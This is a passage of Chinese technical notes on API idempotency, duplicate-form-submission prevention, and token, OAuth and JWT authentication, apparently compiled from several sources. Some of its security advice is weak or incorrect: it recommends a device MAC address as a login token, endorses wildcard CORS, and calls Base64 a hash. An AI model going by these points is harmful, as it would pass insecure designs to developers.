2:幂等性不仅仅只是一次或者多次请求的时候对资源没有副作用。比如根据id对数据库的查询操作,此操作对数据库没有增删改,所以多次查询操作对数据库结果是没有任何影响的;
3:幂等性还包括了第一次请求资源的时候,对资源产生了副作用,但是在以后多次同样的请求操作的时候,都不会在对资源产生副作用了。比如我们根据id更新订单状态从支付中变为支付完成这个操作,在执行第一次的时候,会更新为支付完成。之后在根据这个id执行此操作,无论执行多少次其结果和第一次执行后的结果一样;
4:幂等性关注的是以后的多次请求是否对资源产生了副作用,而不是关注的结果;
5:需要说明的是网络超时、服务宕机等问题,不是幂等的范围。
幂等性是系统服务对外的一种承诺,而不是一种实现,接口服务提供方承诺只要调用接口成功了,外部多次调用对系统的影响是一致的。这里需要强调一点就是,声明为幂等的服务会认为调用方调用失败是常态,是正常业务,并且允许在调用失败后必然会有重试的。
HTTP/1.1中对幂等性的定义
一次和多次请求某一个资源对于资源本身应该具有同样的结果(网络超时等问题除外)。也就是说,其任意多次执行对资源本身所产生的影响均与一次执行的影响相同。
总结来说:
1:假如第一次请求没有对资源进行修改(增加,修改,删除),那之后的请求同样不会对资源进行修改(get获取资源)
2:假如第一次请求对资源有进行修改(增加,修改,删除),那之后的请求只会跟第一次修改的结果一致(用户余额100,给用户增加100金额,无论请求多少次,最后余额都是为200)
3:幂等性所强调的是对资源的变更状态一致,而非返回的数据结果.
http接口中的默认幂等性
http协议根据客户端请求服务端的不同操作分为多个请求方法:
GET /users # 获取users列表
GET /users/12 # 查看某个具体的users
POST /users # 新建一个users
PUT /users/12 # 更新users 12
DELETE /users/12 # 删除users 12
get方法(幂等)
get方法对资源并没有任何的影响,虽然第一次请求完,可能会有数据更改(并非这次请求的修改),获取的数据和第一次的不一致,但并不是它修改的数据,所以它在http协议中默认是幂等性的操作
post方法(非幂等)
post一般用于提交表单,新增或修改数据,当提交多次时会新增多次数据,所以它默认情况是非幂等性操作.
put方法(幂等)
put方法将替换原有的资源,由于是直接替换,无论多少次请求,替换的内容都是相同的,所以它是幂等性操作
delete方法(幂等)
delete针对于删除某一个资源,再次删除的话并不会额外删除其他的资源,也不会新增资源,所以它是幂等性操作
幂等性应用场景
http中post方法是非幂等性的,而且在正常后端写接口时用的最多的应该是post/get去实现所有的数据操作方式,那么现在有一些问题:
用户A提交一个支付订单,由于添加时网络不好,用户点击了2次.
那么接口正常来说,是会新增2个订单的,但这样就会严重影响用户的体验了
同理用户A想给B转账100元钱,但不小心点了2下,如果没做好幂等性,就会造成扣除2次100,扣200块钱.
支付宝支付请求服务器充值回调,给用户A增加余额,同时给支付宝返回OK告诉支付宝增加余额成功,但由于网络异常,支付宝没有收到OK信号,给服务器重发了一次充值回调,这时候给用户A又增加了一次余额
从上面的例子可以看出,当多次提交会影响体验甚至账户安全的情况下都应该增加幂等性操作
那么接口幂等性该怎么做呢?
接口实现幂等性
防重复提交
客户端防止重复提交
新增一个变量,当点击请求后判断变量为0才允许提交数据,并更新为1,等待请求结束后改为0,确保该请求每次只能点击一次.通常点击后出现一个加载动画,防止用户继续点击
防重点击,只允许点击一次,通过记录按钮的状态值,控制按钮不可点击,等响应结果回来才能再次被点击
前端js提交禁止按钮可以用一些js组件
使用Post/Redirect/Get模式: 在提交后执行页面重定向,这就是所谓的Post-Redirect-Get (PRG)模式。简言之,当用户提交了表单后去执行一个客户端的重定向,转到提交成功信息页面。这能避免用户按F5导致的重复提交,而其也不会出现浏览器表单重复提交的警告,也能消除按浏览器前进和后退按导致的同样问题。
如何保证幂等
一、token机制
1、服务端提供了发送token的接口。在分析业务的时候,哪些业务是存在幂等问题的就必须在执行业务前,先去获取token,服务器会把token保存到redis中。
2、然后调用业务接口请求时,把token携带过去,一般放在请求头部。
3、服务器判断token是否存在redis中,存在表示第一次请求,然后删除token,继续执行业务。
4、如果判断token不存在redis中,就表示是重复操作,直接返回重复标记给client,这样就保证了业务代码,不被重复执行。
关键点 先删除token,还是后删除token。
后删除token:如果进行业务处理成功后,删除redis中的token失败了,这样就导致了有可能会发生重复请求,因为token没有被删除。这个问题其实是数据库和缓存redis数据不一致问题,后续会写文章进行讲解。
先删除token:如果系统出现问题导致业务处理出现异常,业务处理没有成功,接口调用方也没有获取到明确的结果,然后进行重试,但token已经删除掉了,服务端判断token不存在,认为是重复请求,就直接返回了,无法进行业务处理了。
先删除token可以保证不会因为重复请求,业务数据出现问题。出现业务异常,可以让调用方配合处理一下,重新获取新的token,再次由业务调用方发起重试请求就ok了。
token机制缺点
业务请求每次请求都会有额外的请求(一次获取token请求、判断token是否存在的业务)。其实真实的生产环境中,1万请求也许只会存在10个左右的请求会发生重试,为了这10个请求,让9990个请求都发生了额外的请求。
服务端发放token防止重复提交
当客户端需要提交表单时,需要先向服务端请求一个有效的token,该token有着时效性和一次性,提交完或过期都将失效,客户端提交表单时附带token,再次提交token将失效,无法继续提交
token机制
操作前获取令牌token,token只能被使用一次,执行业务逻辑前去update token使用状态,update成功才能执行后续业务逻辑,update失败代表token已经被使用返回失败
可以使用mysql token表+redis list,list作为令牌桶,需要的业务从队列中pop获取令牌,使用的时候状态update token表
二、乐观锁机制
这种方法适合在更新的场景中,乐观锁主要使用于处理读多写少的问题
update t_goods set count = count -1 , version = version + 1 where good_id=2 and version = 1
根据version版本,也就是在操作库存前先获取当前商品的version版本号,然后操作的时候带上此version号。第一次操作库存时得到version为1,调用库存服务version变成了2;但返回给订单服务出现了问题,订单服务又一次发起调用库存服务,当订单服务传如的version还是1,再执行上面的sql语句时就不会执行;因为version已经变为2了,where条件就不成立。这样就保证了不管调用几次,只会真正的处理一次。
三、唯一主键
这个机制是利用了数据库的主键唯一约束的特性,解决了在insert场景时幂等问题。但主键的要求不是自增的主键,这样就需要业务生成全局唯一的主键。
如果是分库分表场景下,路由规则要保证相同请求下,落地在同一个数据库和同一表中,要不然数据库主键约束就不起效果了,因为是不同的数据库和表主键不相关。
四、防重表
使用订单号orderNo做为去重表的唯一索引,把唯一索引插入去重表,再进行业务操作,且他们在同一个事务中。这个保证了重复请求时,因为去重表有唯一约束,导致请求失败,避免了幂等问题。这里要注意的是,去重表和业务表应该在同一库中,这样就保证了在同一个事务,即使业务操作失败了,也会把去重表的数据回滚。这个很好的保证了数据一致性。
五、唯一ID
调用接口时,生成一个唯一id,redis将数据保存到集合中(去重),存在即处理过。
六、唯一标识幂等
例如,当用户需要申请添加某一位用户作为好友,当发起申请时,理应新增一条申请消息,再次发起后.
可通过用户id进行查询数据库是否存在一条同样的好友申请,如果存在则不新增,直接返回原有数据
这个例子可以看出,只要提交的数据具有唯一性,即可通过此唯一性进行数据库判定,如果存在该数据则不产生操作,直接返回原有数据
阿里云Oss新增bucket时采用了此方法,bucket名称唯一,可以一直调用新增bucket,但不会出现多条数据
七、表约束
表设计字段的唯一约束,比如:签到记录表,用户ID+签到日期这两个字段组合建立唯一索引UNIQUE,使用事物操作,先INSERT签到记录,成功后再去UPDATE积分,并行执行时必然只能有一个INSERT成功,其他都失败,最终只会累加一次积分
八、分布式锁
分布式锁约束,可以利用redis incr原子操作的特性来实现
在操作业务前,先获取用户ID的incr,获取到值=1代表获取到锁成功,进行原子操作,然后执行业务逻辑,执行成功后删除掉key
如果获取到值>1获取执行锁失败,代表执行没结束,锁没有释放,无法继续执行,直接返回失败
这里需要注意避免网络抖动或者业务执行报错导致最终key删除没成功,所以再执行incr获取锁成功后,同时获取下ttl值,如果ttl没设置,这时需要对key设置下ttl,超出时间后让key自动过期,以免锁没释放,导致死锁
对于一次订单支付过程,如果用户重复多次点击支付按钮,或网络异常导致订单已经支付成功了但没及时反馈给用户,用户再次点击支付按钮就可能造成重复扣款
考虑到幂等性的原理,可以给订单生成一个guid,客户端请求服务端时携带guid参数,服务端就可以验证此次请求是不是同一个订单,再判断订单是否已经支付完成。
1、生成订单时,生成guid;
2、支付时请求参数携带guid。
为了减少服务端压力,对于短时间多次重复请求,做接口过滤。
关于API安全的问题,防止AP1被恶意调用,主要就是以下几个问题,不一定完整:
一、身份鉴定。这个可以使用Oauth 2.0规范,或者带有不对称密钥加密的token,选择JWT等形式,配合身份鉴定系统来保证。
二、内容防篡改。可以使用数字签名算法来进行哈希校,强制HTTPS通信。最新的系统可以考虑http/2
三、DDos攻击。通过设置防火墙,控制API调用频率,例如协议的rate-limit等设置来进行沟通和控制
四、注入攻击。这个需要从输入校验、编解码、输入过滤和转化方面着手,主流框架都有基本的防注入设计。
五、同源策略。通过正确的配置CORS来防止异常调用,但是只对浏览器有效。对于移动端可以通过分发证书或者token来验证有效的调用来源。
六、中间人攻击。这个貌似没有想到太好的办法,只能在调用端提示用户处于不安全网络,有攻击风险而自行规避。https
加个API网关限流,大量恶意请求应该屏蔽在进入服务前
自己编一套密文来通信
图片验证码
限制请求次数
流程条件限制
归属地是否一致
服务器接口验证
采用https
服务器代理请求
c端时效token
白名单机制
签名认证机制
给调用者应用派发appid
幂等性的解决方案
1、唯一索引:使用唯一索引可以避免脏数据的添加,当插入重复数据时数据库会抛异常,保证了数据的唯一性。
2、乐观锁:这里的乐观锁指的是用乐观锁的原理去实现,为数据字段增加一个version字段,当数据需要更新时,先去数据库里获取此时的version版本号
select version from tablename where xxx
更新数据时首先和版本号作对比,如果不相等说明已经有其他的请求去更新数据了,提示更新失败。
update tablename set count=count+1,version=version+1 where version=#{version}
3、悲观锁:乐观锁可以实现的往往用悲观锁也能实现,在获取数据时进行加锁,当同时有多个重复请求时其他请求都无法进行操作
4、分布式锁:幂等的本质是分布式锁的问题,分布式锁正常可以通过redis或zookeeper实现;在分布式环境下锁定全局唯一资源,使请求串行化,实际表现为互斥锁,防止重复,解决幂等。
5、token机制:token机制的核心思想是为每一次操作生成一个唯一性的凭证,也就是token。一个token在操作的每一个阶段只有一次执行权,一旦执行成功则保存执行结果。对重复的请求,返回同一个结果。token机制的应用十分广泛。
常见的认证机制
【 HTTP基本认证(HTTP Basic Auth) 】 一种允许Web浏览器或其他客户端在请求时提供用户名和口令形式的身份凭证的一种登录验证方式,是网站中最常用的通过用户名和密码登录来认证的机制 优点 HTTP基本认证是基本上所有流行的网页浏览器都支持,但基本认证很少在可公开访问的互联网网站上使用,有时候会在小的私有系统中使用。 缺点 HTTP基本认证虽足够简单,但前提是在客户端和服务器主机之间的连接足够安全。如果没有使用SSL/TLS这样的传输层安全的协议,那么以明文传输的密钥和口令很容易被拦截。 由于现存的浏览器保存认证信息直到标签页或浏览器关闭或用户清除历史记录,导致了服务器端无法主动来当前用户登出或认证失效。 【 传统的Cookie/Session认证机制 】 Cookie由HTTP服务器设置,保存在客户端(浏览器)的小型文本文件,其内容为一系列的键值对,Cookie会随着HTTP请求一起发送。 Session存储在服务器端,避免在客户端Cookie中存储敏感数据。Session可以存储在HTTP服务器的内存中,也可以存在内存数据库如redis中。 Cookie/Session认证机制就是为一次请求认证在服务端创建一个Session对象存储一份用户登陆的信息,同时在客户端的浏览器端创建了一个Cookie对象;通过客户端带来Cookie对象来与服务器端的session对象匹配来实现状态管理的。默认关闭浏览器时cookie会被删除,但可以通过修改cookie的expire time使cookie在一定时间内有效; 但这种基于session的认证使应用本身很难得扩展,随着不用客户端的增加,独立的服务器已无法承载更多的用户,而这时基于session认证应用的问题就会暴露出来 基于session认证所显露的问题 Session: 每个用户经过应用认证之后,应用都要在服务端做一次记录,以便用户下次请求的鉴别,通常而言session都是保存在内存中,而随着认证用户的增多,服务端的开销会明显增大 扩展性: 用户认证之后,服务端做认证记录,如果认证的记录被保存在内存的话,这意味着用户下次请求还必须要请求在这台服务器上,这样才能拿到授权的资源,这样在分布式的应用上,响应的限制了负载均衡器的能力,也意味着限制了应用的扩展性 CSRF: 因为是基于cookie来进行用户识别的,cookie如果被截获,用户就会很容易受到跨站请求伪造的攻击。 【 基于Token的认证机制 】 基于Token的认证机制无需长期保存用户名和密码,服务器端能主动让token失效,非常实用于Web应用和App,已被很多大型网站采用,如Facebook、Github、Google+等 流程: 1、客户端使用用户名和密码请求登录 2、服务端收到请求之后验证用户名与密码 3、验证成功后服务器会签发一个Token,再把这个Token发送给客户端 4、客户端收到Token以后可以把它存储起来,如Cookie或Web Storage 5、客户端每次向服务端请求资源时都要带服务器端签发的Token,它应该保存在请求头中,服务器要支持CORS(跨来源资源共享)策略,一般在服务端Access-Control-Allow-Origin: * 6、服务器端收到请求,验证客户端请求里面带着的Token,如果验证成功就向客户端返回请求的数据,否则返回对应的错误信息。 但存储在客户端的Token存在几个问题: 1、存在泄露的风险,如果别人拿到你的Token,在Token过期之前都可以以你的身份在别的地方登录 2、Web Storage(sessionStorage和localStorage)可以被同源下的JS直接获取到,这也就意味着网站下所有的JS代码都可以获取到web Storage,这就给了XSS机会 3、存在Cookie可以使用HttpOnly来防止XSS,但又引发了CSRF 对于泄露的风险,可以采取对Token进行对称加密,用时再解密。 对于XSS而言,在处理数据时都应该escape and encode所有不信任的数据。 与CSRF相比,XSS更加容易防范和意识到,因此并不建议将Token存在Cookie中。 最后网站或应用一定要使用HTTPS,毕竟在网络层面上Token明文传输的话还是非常的危险 【 OAuth(开放授权) 】 OAuth是一个开放标准,允许用户让第三方应用访问该用户在某一网站上存储的私密的资源,如照片、视频、联系人列表等,而无需将用户名和密码提供给第三方应用。 OAuth允许用户提供一个令牌,而不是用户名和密码来访问他们存放在特定服务提供者的数据,每一个令牌授权一个特定的网站如视频编辑网站,在特定的时段如接下来的2小时内访问特定的资源如仅仅是某一相册中的视频。这样OAuth让用户可以授权第三方网站访问他们存储在另外服务提供者的某些特定信息,而非所有内容。 现存在OAuth 1.0和OAuth 2.0两种协议,二者互不兼容。 OAuth 2.0运行流程: (A)客户端(Client)向资源拥有者(Resource Owner)发送授权请求(Authorization Request) (B)资源拥有者授权许可(Authorization Grant) (C)客户端向验证服务器(Authorization Server)发送通过Authorization Grant获取的授权许可 (D)验证服务器验证授权许可,通过则返回Access Token给客户端 (E)客户端通过Access Token访问资源服务器(Resource Server) (F)资源服务器返回受保护的资源(Protected Resource) 基于OAuth的认证机制非常适用于个人消费者类的互联网应用产品如社交类等,一些大的互联网公司也都提供OAuth机制的API,如豆瓣、微信JS-SDK。 【 restfull api身份认证和授权 】 REST是一种现代架构风格,它定义了一种设计Web 服务的新方法。和之前的HTTP及SOA不同,它不是一个协议(即一套严格的规则),而是一些关于Web服务应该如何相互通信的一些建议和最佳实践。按照REST最佳实践开发的服务被称为RESTful Web服务 安全性是RESTful服务的基石。启用它的方法之一是尽可能内置用户身份验证和授权机制。 在RESTful服务中实现用户身份验证和授权的方法有很多。主要方法或标准有: Basic 认证 OAuth 2.0 OAuth 2.0 + JWT Basic 认证 最古老也是最简单的标准。 看起来像: 用户名 + 密码 + Base64(对用户名和密码做哈希的基础算法)。 工作原理: 假如有人尝试登录用户的Fackbook账户去访问他的消息、历史记录、群组信息,这些都是独立的服务。当用户输入用户名和密码后,系统会允许登录。但默认情况下系统不知道用户的角色和权限是什么,他们可以访问哪些服务等,所以每次用户尝试访问任何一个服务的时候,系统都应该再次验证是否允许执行这个操作,这意味着需要对身份验证进行额外的调用,现在假设每秒有3k个请求,将这请求乘以四,结果是每秒要向服务器发出12k次调用。 总结: 可伸缩性差,大量的额外流量(额外调用)没有带来业务价值,服务器的负载很大。 OAuth 2.0 看起来像: 用户名 + 密码 + 访问令牌 + 过期令牌 工作原理: OAuth 2.0标准的核心思想是,用户使用用户名和密码登录系统后,客户端(用户访问系统的设备)会收到一对令牌,这是一个访问权限令牌和刷新令牌。 访问令牌用于访问系统中的所有服务。到期后,系统使用刷新令牌生成一对新的令牌。所以,如果用户每天都进入系统,令牌也会每天更新,不需要每次都用用户名和密码登录系统。刷新令牌也有它的过期时间(虽然它比访问令牌长得多),如果一个用户一年没有进入系统,那么很可能会被要求再次输入用户名和密码。 OAuth 2.0标准取代了基本的身份验证方法,它具有一定的优势,例如用户每次想要进入系统时不用输入用户名和密码。但系统仍然需要调用身份验证服务器,就像使用基本身份验证方法时一样,以检查拥有该令牌的用户有权限做什么。 假设有效期是一天。这意味着登录服务器上的负载要少得多,因为用户每天只需要输入一次凭证,而不是每次都要进入系统。但系统仍需要验证每个令牌并检查用户角色的存储状态。所以最终还要调用身份验证服务器。 总结: 和Basic验证有相同的问题 - 可伸缩性差,身份验证服务器负载较高。 OAuth2 + JSON Web 令牌 看起来像: 用户名 + 密码 + JSON数据 + Base64 + 私钥 + 到期日期 工作原理: 当用户第一次使用用户名和密码登录系统时,系统不仅会返回一个访问令牌(只是一个字符串),而是一个包含所有用户信息的JSON对象,比如角色和权限,使用Base64进行编码并使用私钥签名。 主要区别在于可以在令牌中存储状态,而服务保持无状态。这意味着用户自己拥有自己的信息,不需要额外的调用来检查它,因为所有的内容都在令牌里。这对于减少服务器负载方面是一个很大的优势。这个标准在世界范围内得到广泛应用 总结: 良好的可伸缩性,可以和微服务一起工作 亚马逊签名方式 一种全新的,奇特的方法,称为HTTP签名,亚马逊是目前使用它的大厂之一。 它的思路是,当创建亚马逊帐户的时候会生成一个永久的、非常安全的访问令牌,要非常小心地存储起来并且不要给任何人显示。当要从Amazon请求某些资源时,可以获取到所有相关的http头信息,使用这个私钥对其进行签名,然后将签名的字符串作为header发送。 在服务器端,亚马逊也有你的访问密钥。接下来只需要使用你的http头信息和这个密钥进行签名。然后将签名字符串和作为签名的字符串进行比较;如果相同那么就知道是谁。 最大的好处是只需要发送一次用户名和密码就可以获得令牌。至于使用私钥签名的header信息,基本上没有机会对它们进行编码。就算有人截获了信息——谁在乎呢
登录令牌token
Token最大的特点就是随机性,用于增加网站安全,Token的目的是为了减轻服务器的压力,减少频繁的查询数据库,使服务器更加健壮。 Token的引入 客户端频繁向服务端请求数据,服务端频繁的去数据库查询用户名和密码并进行对比,判断用户名和密码正确与否,并作出相应提示,在这样的背景下Token便应运而生。 Token的定义 Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。 如何使用Token 1、用设备号/设备mac地址作为Token(推荐) 客户端在登录的时候获取设备的设备号/mac地址作为参数传递到服务端。 服务端接收到该参数后将其作为Token保存在数据库,并将该Token设置到session中,客户端每次请求时都要统一拦截,并将客户端传递的token和服务器端session中的token进行对比,相同则放行,不同则拒绝。 此刻客户端和服务器端就统一了一个唯一的标识Token,而且保证了每一个设备拥有了一个唯一的会话。 缺点是客户端需要带设备号/mac地址作为参数传递,而且服务器端还需要保存; 优点是客户端不需重新登录,只要登录一次以后一直可以使用,至于超时的问题是服务器来处理,若服务器的Token超时后,服务器只需将客户端传递的Token向数据库中查询,同时并赋值给变量Token,如此Token的超时又重新计时。 2、用session值作为Token 客户端只需携带用户名和密码登陆即可。 服务端接收到用户名和密码后并判断,如果正确就将本地获取sessionID作为Token返回给客户端,客户端以后只需带上请求数据即可。 这种方式使用的好处是方便,不用存储数据,缺点是当session过期后客户端必须重新登录才能进行访问数据。 用户登录成功之后在服务器后端会根据用户信息生成一个唯一值作为token值,类似于MD5加密之后的长字符串 服务器端数据库保存这个token值,并将token值返回给客户端,客户端保存这个token值到本地,一般保存在cookie中 以后客户端在发送新的网络请求时会默认自动附带这个token值作为参数传递给服务器,服务器拿到客户端传递的token值跟保存在数据库中的token值对比,以此来检索对应的用户信息,并且判断用户的登录状态和这个请求是合法的请求 如果客户端没有这个token值意味着没有登录成功过,提示用户登录输入账号和密码信息 如果客户端有token值,验证无误后会认为登录成功,不需要用户再次登录 一旦用户信息如密码改变,服务器会生成新的token值,原来的token值失效,需要再次输入账号密码生成的新的token值 唯一性判断: 每次登录都会生成一个新的token值,原来的token值就会失效,利用时间来判断登录的差异性 token值失效时间 一般的app: token值得失效时间都在1年以上 特殊的app: 银行类app/支付类app token值失效时间15分钟左右 基于Token的认证是无状态的,不会将任何关于用户的信息存储到服务器或会话中,仅这一个概念就能处理很多因为将信息存储在服务器上而产生的问题,没有会话信息就意味着在必要时应用程序可以伸缩并添加更多的机器,不用担心用户是在哪里登录的 每一个请求都需要Token,这个Token应该在HTTP header中发送,以便保持无状态HTTP请求 也需要将服务器设置为能使用Access-Control-Allow-Origin: *接受来自所有域的请求,在ACAO header中指定*的有趣之处在于它不允许比如说提供HTTP认证凭证,客户端SSL证书或是Cookie这一类的请求 一旦认证了信息并获得了Token就可以用这个Token做很多事情,甚至可以创建一个基于权限的Token并将其传递给第三方应用程序(比如一个想要使用的移动应用程序),他们就可以访问数据,不过仅限于允许他们使用指定的Token获取的信息 为什么不能用cookie? 在PC时代token就是浏览器中的cookie,token的设计就是为了替代cookie的状态标记,以参数或其它形式来传递状态,在移动端一般是在接口中带上token和token的有效期以替代cookie cookie是基于浏览器的,但使用REST API的场景并不局限于浏览器,需要考虑非浏览器端的请求,如app、其它服务器等,这时把请求的token直接放在url或request header中和使用只有浏览器才原生支持的cookie要Robust许多 【 API接口的安全设计验证—ticket,签名,时间戳 】 与前端对接的API接口,如果被第三方抓包并进行恶意篡改参数,可能会导致数据泄露,甚至会被篡改数据,时间戳,token,签名三个部分来保证API接口的安全性 1.用户成功登陆站点后,服务器会返回一个token,用户的任何操作都必须带了这个参数,可以将这个参数直接放到header里。 2.客户端用需要发送的参数和token生成一个签名sign,作为参数一起发送给服务端,服务端在用同样的方法生成sign进行检查是否被篡改。 3.但这依然存在问题,可能会被进行恶意无限制访问,这时需要引入一个时间戳参数,如果超时即是无效的。 4.服务端需要对token,签名,时间戳进行验证,只有token有效时间戳未超时签名有效才能被放行。 每次请求header都带上token,后段中间件在验证token的同时,验证token的有效期,平时不返回token,当token快要失效时response返回新的token,前端只要判断response中是否有token,有就刷新本地存储的token 【 Token的好处 】 1、无状态并且可伸缩 存储在客户端的Token完全无状态,准备就绪可以伸缩,因为任何地方都没有状态或会话信息,负载平衡器就可以将用户传递给任何服务器 如果要将会话信息绑定到一个登录用户上,这会要求持续将那个用户发送到他们登录过的同一台服务器(称为会话绑定) 这带来了问题,因为一些用户就会被迫到同一个服务器,这可能会导致高流量点 但无需担忧,只要Token本身拥有该用户的数据,这些问题都会迎刃而解 2、安全 每个请求都会发送Token,而不是Cookie,不发送Cookie有助于防止CSRF攻击 即使将Token存储在Cookie中,cookie也仅仅是一个存储机制,而不是一个认证机制,因为没有会话所以就没有基于会话的信息可进行操作 Token经过一段特定时间会过期,因此用户需要再次登录,这有助于保持安全 还有Token撤销的概念能够令特定的Token甚至是一组基于同一个认证授权的Token失效 3、可扩展性(用户信息传递和权限) Token允许构建能与其他应用程序共享权限的应用程序 例如已经将随机社交账户与主要账户(如Facebook或Twitter)相关联,当通过一个服务(比如Buffer)登录Twitter,允许Buffer发布到Twitter流 使用Token是为第三方应用程序提供选择权限的方法,甚至可以构建自己的API,并且如果用户想要让另一个应用程序来访问他们的数据,可以发出特殊权限Token 4、多平台和域 当应用程序和服务扩展时需要给各种设备和应用程序提供访问,让API只服务数据,也可以做出设计选择来服务CDN中的资产,这在我们为我们的应用程序设置快速Header配置之后,消除CORS带来的问题 只要一个用户拥有一个有效Token,任何一个域的请求都可以获取我们的数据和资源. 5、基于的标准 在创建Token时有一些选项,但使用的标准会是JSON Web Token 【 使用场景 】 前后端分离,后台提供RESTful API给前端或APP调用(需要通过token授权),限制单端登录 Token一般用在两个地方 1) 防止表单重复提交 2) anti csrf攻击(跨站点请求伪造) 两者在原理上都是通过session token来实现的 客户端请求页面时服务器会生成一个随机数Token,并将Token放置到session中,然后将Token发给客户端(一般通过构造hidden表单)。下次客户端提交请求时,Token会随着表单一起提交到服务器端。 anti csrf攻击时服务器端会对Token值进行验证,判断是否和session中的Token值相等,若相等则可以证明请求有效,不是伪造的。 防止表单重复提交时,服务器端第一次验证相同过后会将session中的Token值更新下,若用户重复提交,第二次的验证判断将失败,因为用户提交的表单中Token没变,但服务器端session中Token已改变 虽然session应用相对安全,但较为繁琐,多页面多请求时必须采用多Token同时生成的方法,这样占用更多资源,执行效率降低,因此也可用cookie存储验证信息的方法来代替session Token。比如应对重复提交时,当第一次提交后便把已经提交的信息写到cookie中,当第二次提交时由于cookie已经有提交记录,因此第二次提交会失败。不过cookie存储有个致命弱点,如果cookie被xss攻击劫持,黑客将直接实现csrf攻击 对数据库有改动的增删改操作需要加token验证,对于查询操作一定不要加token,防止攻击者通过查询操作获取token进行csrf攻击,但并不是这样攻击者就无法获得token,只是增大攻击成本而已。 【 php表单令牌防止重复提交原理 】 主要有两类: 第一类: 由于用户误操作或者网络卡顿,可能会造成多次点击表单提交按钮或者刷新提交页面,就会造成重复提交; 第二类: 黑客或恶意用户使用postman、jmeter等工具重复恶意提交表单,攻击网站,从而造成重复提交; 这两类严重的时候甚至会直接造成系统宕机 引起表单重复提交有以下几种常见场景: 1、重复点击提交按钮,包括恶意的连续点击提交按钮,或因为网络慢、服务器处理速度慢等引起的用户多次点击 2、表单提交处理完后,通过浏览器的后退按钮回到原页面再次点击提交按钮 3、通过点击浏览器的刷新按钮,导致表单重复提交 4、通过浏览器的历史记录,获取表单提交的URL地址,再次访问 5、浏览器重复的http请求 当网站某个接口调用缓慢时不论form提交还是ajax提交都会有可能引起表单重复提交的问题 如果用户频繁点击或恶意攻击就需要处理表单重复提交的问题,不断的请求对服务器产生很大的压力,避免业务出错或产生脏数据,虽然可以通过前端控制,但这并不是可以完全避免,最好的方式还是前后端均进行控制,尽可能全面的去减少错误的发生。 解决方案: 从前端、后端同时入手 1、前端js层面 (1)单击提交按钮后立刻disable禁用该按钮,但如果客户端禁用js则该方法无效 (2)通过js来屏蔽提交按钮,当用户点击提交按钮后,屏幕弹出遮罩层提示loading或数据加载中....,防止用户第二次点击,直到后端返回结果或者前端请求超时时,再将其遮罩层关闭,从而实现防止表单重复提交 (3)定义全局变量,在form提交前判断是否已有提交过 (4)js防抖函数全局锁: 在调用执行方法前将锁注册好,下次调用方法时查看锁是否已释放,如果释放则照常运行,否则跳出方法不再往下执行,防止重复点击提交按钮,限制触发频率
2、在数据库添加唯一字段
数据库建表时在ID字段添加主键约束,账号、名称的信息添加唯一性约束,确保数据库只可以添加一条数据,此方法从根本上的防止了数据重复提交。
在控制层给数据做验证,例如用户注册,当用户手机号或者邮箱已经存在,则直接提示提交失败
这种方案在某些场景下是有效果的,例如请求不是非常频繁,可以采用这种方式。
那如果请求非常频繁,而且服务层需要处理的逻辑非常多的时候,这种方案就会遇到很大的瓶颈。
以订单支付为例,当用户支付时,首先会对订单数据做各种基础验证,接着走风控系统,鉴别是否是机器人操作,风控系统通过之后,再对接银行系统查询用户金额是否充足,如果充足就申请扣款,扣款成功之后,更新订单状态,同时将订单的数据推送给中心仓库,等待发货。
当然这个只是一个基础的流程,实际的处理逻辑比这个要复杂的多,此时也不能像上面介绍的那样对某个关键字做唯一约束,同时整个处理逻辑所需的时间也相对比较长,假如有几个请求同时过来,其结果可想而知!
3、使用Post/Redirect/Get
简称PRG,是一种可防止表单数据重复提交的Web设计模式,像刷新等比较典型的重复提交表单数据的问题可以使用PRG模式来避免。例如当用户提交成功之后,执行客户端重定向,跳转到提交成功页面。
这能避免用户按F5导致的重复提交,而且也不会出现浏览器表单重复提交的警告,也能消除按浏览器前进和后退按导致的同样问题
这样即使用户使用刷新也不会导致表单的重复提交,因为已经转向新的页面,而这个页面脚本已经不理会任何提交的数据了。
if (isset($_POST['action']) && $_POST['action'] == 'submitted') {
//处理数据,如插入数据后立即转向到其他页面
header('location:submits_success.php');
}
PRG设计模式并不适用所有的重复提交情况,比如:
1)由于服务器响应缓慢,用户刷新提交POST请求造成的重复提交。
2)用户点击后退按钮,返回到数据提交界面,导致的数据重复提交。
3)用户多次点击提交按钮,导致的数据重复提交。
4)用户恶意避开客户端预防多次提交手段,进行重复数据提交。
4、使用Cookie处理
使用Cookie记录表单提交的状态,根据其状态可以检查是否已经提交表单,如果客户端禁止了Cookie,该方法将不起任何作用
5、使用Redis incr原子性递增来解决高并发的秒杀或分布式序列号生成等场景,鉴于本场景只用来做计数实现间隔时间内只接收一次请求。 实现逻辑: 提交订单之后使用Redis的incr设置一个递增的KEY,根据需要设定但要保证每一个人的唯一,来判断该KEY的数值,如果等于1说明这是第一次请求,发送短信记录日志,并设置有效期,如果不等于的话说明是间隔时间内多次请求,就提示请求频繁,稍后重试。cookie方法: 对比提交内容的MD5值
6、使用Session设置令牌token机制解决,利用缓存ID防止重复提交(推荐) 前端在请求后端的时候,先从后端缓存中获取一个唯一的ID,在请求提交数据的时候带上这个唯一的ID,后端检查缓存中是否存在这个ID,如果存在就进行业务处理,处理完毕之后,从缓存中将这个ID移除掉,如果在处理过程中,前端又再次提交,此时缓存中的ID状态还没有被移除,直接提示: 数据处理中,不要重复提交 客户端请求页面时,服务器为每次产生的Form表单分配唯一的随机标识号或token,并且在form的一个隐藏字段中设置这个标识号,同时在当前用户的Session中保存这个标识号。 用户录入信息后点击提交,在服务器端获取表单中隐藏字段的值与session中的唯一标识符比较,相等说明是首次提交就处理本次请求,然后将session中的唯一标识符移除;不相等说明是重复提交就不再处理,服务器忽略请求,这使web应用有了更高级的XSRF保护 表单提交时后端检查session中是否存在该token,存在则立即从session中remove,然后进行正常业务逻辑操作(如业务逻辑操作失败则可再添加该token到session中,方便用户修改数据后再提交),不存在该token则返回重复提交的提示。 恶意用户可利用这一性质,不断重复访问页面,以致Session中保存的标识号不断增多,最终严重消耗服务器内存。可以采用在Session中记录用户发帖的时间,然后通过一个时间间隔来限制用户连续发帖的数量来解决这一问题。 